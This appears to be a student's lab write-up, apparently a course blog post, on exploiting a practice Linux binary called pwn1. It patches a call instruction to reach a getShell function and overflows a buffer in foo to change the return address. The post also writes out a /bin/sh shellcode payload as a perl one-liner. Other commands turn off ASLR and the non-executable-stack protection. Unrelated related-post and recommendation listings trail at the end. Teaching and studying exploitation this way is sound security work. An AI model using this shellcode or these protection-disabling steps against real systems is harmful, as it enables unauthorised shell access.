20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 《网络对抗技术》EXP1 PC平台逆向破解
一.实验内容
- 本次实践的对象是一个名为
pwn1的linux可执行文件。 - 该程序正常执行流程是:
main调用foo函数,foo函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下;
- 直接修改程序机器指令,改变程序执行流程。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode

具体的实验步骤
直接修改程序机器指令,改变程序执行流程
首先检查共享文件夹设置是否成功
cd /mnt/hgfs

通过共享文件夹把pwn1拷贝到虚拟机中,用指令对其进行备份,方便后面的实验中用到
cp pwn1 pwn_1

再对其进行反汇编
objdump -d pwn_1 | more,将二进制转进行反汇编操作

分析反汇编出来的代码,寻找到需要修改的对应代码的位置。

1. 在main函数中找到call语句,
call 8048491 <foo>,可以看出:
调用的是地址为8048491的foo函数(箭头指向)。2. 对应找到这句call指令位于地址80484b5,对应机器码是
e8 d7 ff ff ff,查表知道e8即call(跳转)。使用命令
vim pwn_1打开可执行文件,使用命令:%!xxd将其转换成十六进制文件

- 进入
vim后,按i进入插入模式,按esc进入普通模式,即快捷模式.。 - 退出保存时,
:wq再回车键,或者esc后shift+zz。
- 进入
输入
/e8d7找到要修改部分的代码,并对其进行修改,将d7修改为c3。

输入
%!xxd -r将十六进制转换成为原格式,并保存退出。再输入反汇编指令
objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell再运行pwn_1文件,可以看到出现了shell提示符#

构造输入参数,造成BOF攻击,改变程序执行流
objdump -d pwn_2反汇编pwn_2文件- 找到需要替换的目的地址

- 使用
per命令将输入的参数定向到BOF1中,使用|管道命令将输出的BOF作为pwn_2的输入 - BOF攻击成功

注入Shellcode并执行
- 准备工作:
- 关闭堆栈保护
- 关闭堆栈执行程序
- 关闭地址随机化
- 在x32环境之下
- 在Linux实践环境之下
6.具体命令:
| 命令 | 作用 |
|---|---|
apt-get install execstack |
安装execstack |
exestack -s pwn_3 |
关闭堆栈执行保护 |
exestack -q pwn_3 |
查询文件堆栈是否可执行 |
more /proc/sys/kernel/randomize_va_space |
查询是否关闭地址随机化 |
echo "0" > /proc/sys/kernel/randomize_va_space |
关闭地址随机化 |
more /proc/sys/kernel/randomize_va_space |
查询是否关闭地址随机化 |

查找地址,在命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,再输入(cat input_shellcode;cat) | ./pwn_3注入这段攻击


在另一个终端中输入
ps ef | grep pwn_3,来查找pwn_3的进程号为78857

继续在另一个终端中用gdb对其进行调试,输入
attach 78857通过
disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae

通过设置断点查看注入的位置

将之前的
|\x4\x3\x2\x1替换为ffffd380,按书写方式为\x80\xd3\xff\xff注入成功
遇到的问题
- 共享文件夹设置不成功
询问同学和查看学长学姐博客,发现是自己的权限设置有问题。最后该问题已解决。

- 刚开始做时,对一些基础指令不熟悉
| 指令 | 作用 |
|---|---|
objdump -d pwn_1 |
对pwn_1的二进制文件进行反汇编 |
:%!xxd |
将二进制文件转换成为十六进制文件显示 |
perl -e |
指定字符串以作为脚本(多个字符串迭加)执行 |
| |
管道,把前者的输出作为后者的输入 |
NOP |
90。空指令,CPU不做操作,继续执行NOP后面的一条指令 |
JNE |
75。条件转移指令,若不相等则跳转 |
JE |
74。条件转移指令,若相等则跳转 |
JMP |
无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA) |
CM |
比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。 |
CALL |
E8,调用子程序。 |
- 在进行实验三时,查找到进程号但是无法对其进行调试

实验整体思路总结
实验一:
- main中的call语句会调用
函数,需要我们手动修改机器指令,使call语句的调用由foo变为getshell
实验二:
- 即main函数中的call语句调用完foo函数后,eip会执行main函数中的call指令的下一条指令,现在要将其修改为执行getshell的内存地址,即要知道foo函数的长度,并构造输入字符串。
实验三:

实验收获:
- 这次的实验收获收获还是很多的,更多的是从原理上理解了缓存区溢出,该如何构造,而不是简单的通过指令操作机械的完成了实验,其中的指令只是一些辅助工具。
- 漏洞及其危害:
- 我认为的漏洞应该是一种缺陷,可能是原理上的也可能是实现上的,总之能够让攻击者有机可乘。
- 可以使攻击者能够在未授权的情况下访问或破坏系统。
- 危害:结合信息安全技术的学习,危害可能有数据的覆盖丢失,病毒的植入,对本机进行监听,甚至获取你的个人信息造成经济上的损失。
参考资料
20165221 《网络对抗技术》EXP1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- 前端——CSS
CSS CSS是英文Cascading Style Sheets的缩写,称为层叠样式表,用于对页面进行美化. 存在方式有三种:元素内联.页面嵌入和外部导入,比较三种方式的优缺点. 语法:style = ...
- Core官方DI解析(4)--CallSiteRuntimeResolver
CallSiteRuntimeResolver类型是一个创建或获取服务实例的类型,这个类型继承了CallSiteVisitor<TArgument, TResult>这个类型,也是使用 ...
- ASP.NET Core 2.1 : 十五.图解路由(2.1 or earler)
本文通过一张图来看一下路由的配置以及请求处理的机制.(ASP.NET Core 系列目录) 一.概述 路由主要有两个主要功能: 将请求的URL与已定义的路由进行匹配,找到该URL对应的处理程序并传入该 ...
- Python--day09(内存管理、垃圾回收机制)
昨天内容回顾 1. 操作文件的三个步骤: 1. 打开文件:硬盘的空间被操作系统持有,文件对象被用用程序持续 2. 操作文件:读写操作 3. 释放文件:释放操作系统对硬盘空间的持有 2. 基础 ...
- 译注(2): How to Write a 21st Century Proof
原文:Computer Scientist Tells Mathematicians How To Write Proofs 对比一下下面两个证明哪个更好? 版本一: "A square a ...
- LeetCode_p150_逆波兰表达式计算/后缀表达式计算
有效的运算符包括 +, -, *, / .每个运算对象可以是整数,也可以是另一个逆波兰表达式. 说明: 整数除法只保留整数部分. 给定逆波兰表达式总是有效的.换句话说,表达式总会得出有效数值且不存在除 ...
- c提高第六次课 文件读取
一.基本概念1.文件分类 普通文件:存放在硬盘中的文件 设备文件:屏幕.键盘等特殊文件 文本文件:ASCII文件,每个字节存放一个字符的ASCII码,打开文件看到的是文本信息 二进制文件:数据按其在内 ...
- python之路8-内置模块介绍
time & datetime模块 1 #_*_coding:utf-8_*_ 2 __author__ = 'Alex Li' 3 4 import time 5 6 7 # print(t ...
- cocos creator入门
前面的话 Cocos Creator 是一个完整的游戏开发解决方案,包括了 cocos2d-x 引擎的 JavaScript 实现,以及快速开发游戏所需要的各种图形界面工具.Cocos Creator ...
- tensorflow-TFRecord报错ValueError: Protocol message Feature has no "feature" field.
编写代码用TFRecord数据结构存储数据集信息是报错:ValueError: Protocol message Feature has no "feature" field.或和 ...